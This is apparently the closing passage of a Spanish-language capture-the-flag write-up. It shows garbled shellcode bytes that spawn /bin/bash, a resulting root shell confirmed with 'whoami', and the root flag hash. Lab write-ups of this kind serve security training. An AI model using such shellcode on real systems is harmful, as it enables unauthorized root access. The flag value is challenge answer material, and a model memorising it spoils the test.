                                                                                                                                       X�Rfh-p��Rjhh/bash/bin��RQS��

bash-5.2# whoami
root
```

Por lo que leeremos la flag de `root`.

> root.txt

```
7b99571a3a54ade50fec6091cb42e9ab
```
